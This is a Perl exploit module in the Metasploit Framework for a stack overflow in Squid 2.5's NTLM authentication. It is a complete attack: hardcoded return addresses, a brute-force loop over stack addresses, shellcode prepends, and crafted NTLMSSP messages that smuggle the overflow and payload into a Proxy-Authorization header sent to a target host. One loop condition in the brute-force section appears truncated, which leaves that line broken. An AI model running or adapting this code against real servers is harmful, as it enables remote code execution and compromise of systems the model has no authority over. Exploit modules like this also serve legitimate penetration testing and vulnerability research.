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Squid 2.5.*-STABLE NTLM authenticate Remote Overflow Exploit
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##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::squid_ntlm_authenticate;
use strict;
use base "Msf::Exploit";
my $advanced =
{
'StackBottom' => [ '0xbfffcfbc', 'Start address for stack ret.' ],
'StackTop' => [ '0xbffffffc', 'Stop address for stack ret.' ],
'StackStep' => [ 0, 'Number of bytes to increment between steps.'],
'BruteWait' => [ 15, "Length of time to wait between brutes. " .
"15 is recommend as squid has a failure " .
"count tracker to exit on many segvs" ],
};
my $info =
{
'Name' => 'Squid NTLM Authenticate Overflow',
'Version' => '$Revision: 1.7.2.2 $',
'Authors' =>
[
'skape '
],
'Description' =>
qq{
This is an exploit for Squid's NTLM authenticate overflow (libntlmssp.c).
Due to improper bounds checking in ntlm_check_auth, it is possible to
overflow the 'pass' variable on the stack with user controlled data of
a user defined length. Props to iDEFENSE for the advisory.
},
'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [ 1, 'ADDR', 'The target proxy server address' ],
'RPORT' => [ 1, 'PORT', 'The target proxy server port' ],
},
'Payload' =>
{
'Space' => 300 - 44, # can be more, but requires code mod
'MinNops' => 16,
'PrependEncoder' => "\x83\xec\x7f", # sub $0x7f, %esp
'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e" . # signal(SIGALRM, SIG_IGN)
"\xb0\x30\x41\xcd\x80",
},
'Refs' =>
[
'http://www.idefense.com/application/poi/display?id=107',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0541',
],
'DefaultTarget' => -1,
'Targets' =>
[
[ 'Brute force', 0x0, 0x0 ],
[ 'Squid 2.5 STABLE5 and below (Debian/Linux)', 0xbfffd48c, 0xbfffd468 ],
],
};
sub new
{
my $class = shift;
my $self;
$self = $class->SUPER::new(
{
'Info' => $info,
'Advanced' => $advanced,
},
@_);
return $self;
}
sub Exploit
{
my $self = shift;
my $targetIdx = $self->GetVar('TARGET');
my $payload = $self->GetVar('EncodedPayload');
my $shellcode = $payload->Payload;
my $target = $self->Targets->[$targetIdx];
my $ret = $target->[1];
my $valid = $target->[2];
my $s = undef;
$self->PrintLine('[*] Trying exploit target ' . $target->[0]);
if ($target->[0] eq 'Brute force')
{
my $stackTop = hex($self->GetLocal('StackTop'));
my $stackBottom = hex($self->GetLocal('StackBottom'));
my $stackStep = $self->GetLocal('StackStep');
my $wait = $self->GetLocal('BruteWait');
$stackStep = $payload->NopsLength if ($stackStep == 0);
for ($ret = $stackBottom, $valid = $stackBottom - 0x20;
$ret
$ret += $stackStep, $valid += $stackStep)
{
$self->PrintLine(sprintf("[*] Trying %.8x...", $ret));
last if (defined($s = $self->transmitExploit(target => $target,
shellcode => $shellcode, ret => $ret, valid => $valid)));
sleep($wait);
}
}
else
{
$s = $self->transmitExploit(target => $target,
shellcode => $shellcode, ret => $ret, valid => $valid);
}
$self->Handler($s) if (defined($s));
}
sub transmitExploit
{
my $self = shift;
my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid/};
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $bof = "A" x 0x20 . pack("V", $ret) . pack("V", $valid) . "\xff\x00\x00\x00";
my $passLen = pack("v", length($bof) + length($shellcode));
my $negotiate =
"NTLMSSP\x00" . # NTLMSSP identifier
"\x01\x00\x00\x00" . # NTLMSSP_NEGOTIATE
"\x07\x00\xb2\x07" . # flags
"\x01\x00\x09\x00" . # workgroup len/max (1)
"\x01\x00\x00\x00" . # workgroup offset (1)
"\x01\x00\x03\x00" . # workstation len/max (1)
"\x01\x00\x00\x00" ; # workstation offset (1)
my $authenticate =
"NTLMSSP\x00" . # NTLMSSP identifier
"\x03\x00\x00\x00" . # NTLMSSP_AUTHENTICATE
$passLen . $passLen . # lanman response len/max
"\x38\x00\x00\x00" . # lanman response offset (56)
"\x01\x00\x01\x00" . # nt response len/max (1)
"\x01\x00\x00\x00" . # nt response offset (1)
"\x01\x00\x01\x00" . # domain name len/max (1)
"\x01\x00\x00\x00" . # domain name offset (1)
"\x01\x00\x01\x00" . # user name (1)
"\x01\x00\x00\x00" . # user name offset (1)
"\x00\x00\x00\x00" . # session key
"\x8b\x00\x00\x00" . # session key
"\x06\x82\x00\x02" . # flags
$bof . $shellcode;
my $s = Msf::Socket->new;
# Connect to the squid server
if (!$s->Tcp($targetHost, $targetPort) || $s->IsError)
{
$s->PrintError;
return undef;
}
$self->PrintLine('[*] Sending NTLMSSP_NEGOTIATE (' . length($negotiate) . ' bytes)');
# Transmit NTLMSSP negotiate
if (not defined($self->transmitHttpRequest(
s => $s,
buffer => $negotiate)))
{
$self->PrintLine('[-] Server did not send a response -- exploit failed.');
return undef;
}
$self->PrintLine('[*] Sending NTLMSSP_AUTHENTICATE (' . length($authenticate) . ' bytes)');
# Transmit NTLMSSP authenticate
if (defined($self->transmitHttpRequest(
s => $s,
buffer => $authenticate)))
{
return undef;
}
return $s;
}
sub transmitHttpRequest
{
my $self = shift;
my ($s, $buffer) = @{{@_}}{qw/s buffer/};
my $encoded = encode_base64_perl($buffer);
my $response;
$encoded =~ s/\n//gm;
$s->SetRecvTimeout(2);
$s->Send("GET http://www.metasplizoit.com HTTP/1.0\r\n");
$s->Send("Proxy-Connection: Keep-Alive\r\n");
$s->Send("Proxy-Authorization: NTLM $encoded\r\n");
$s->Send("\r\n");
# Read a response, wait 5 seconds...
while (defined($response = $s->Recv(-1, 5)))
{
last if ($response =~ "\r\n\r\n" or length($response) == 0);
}
$response = '' if ($s->GetError());
return $response;
}
# ripped from RFP's libwhisker (temporary)
# ripped from MIME::Base64
sub encode_base64_perl
{
my $res = "";
my $eol = $_[1];
$eol = "\n" unless defined $eol;
pos($_[0]) = 0;
while ($_[0] =~ /(.{1,45})/gs) {
$res .= substr(pack('u', $1), 1);
chop($res);}
$res =~ tr|` -_|AA-Za-z0-9+/|;
my $padding = (3 - length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/'=' x $padding/e if $padding;
if (length $eol) {
$res =~ s/(.{1,76})/$1$eol/g;
} $res;
}
1;
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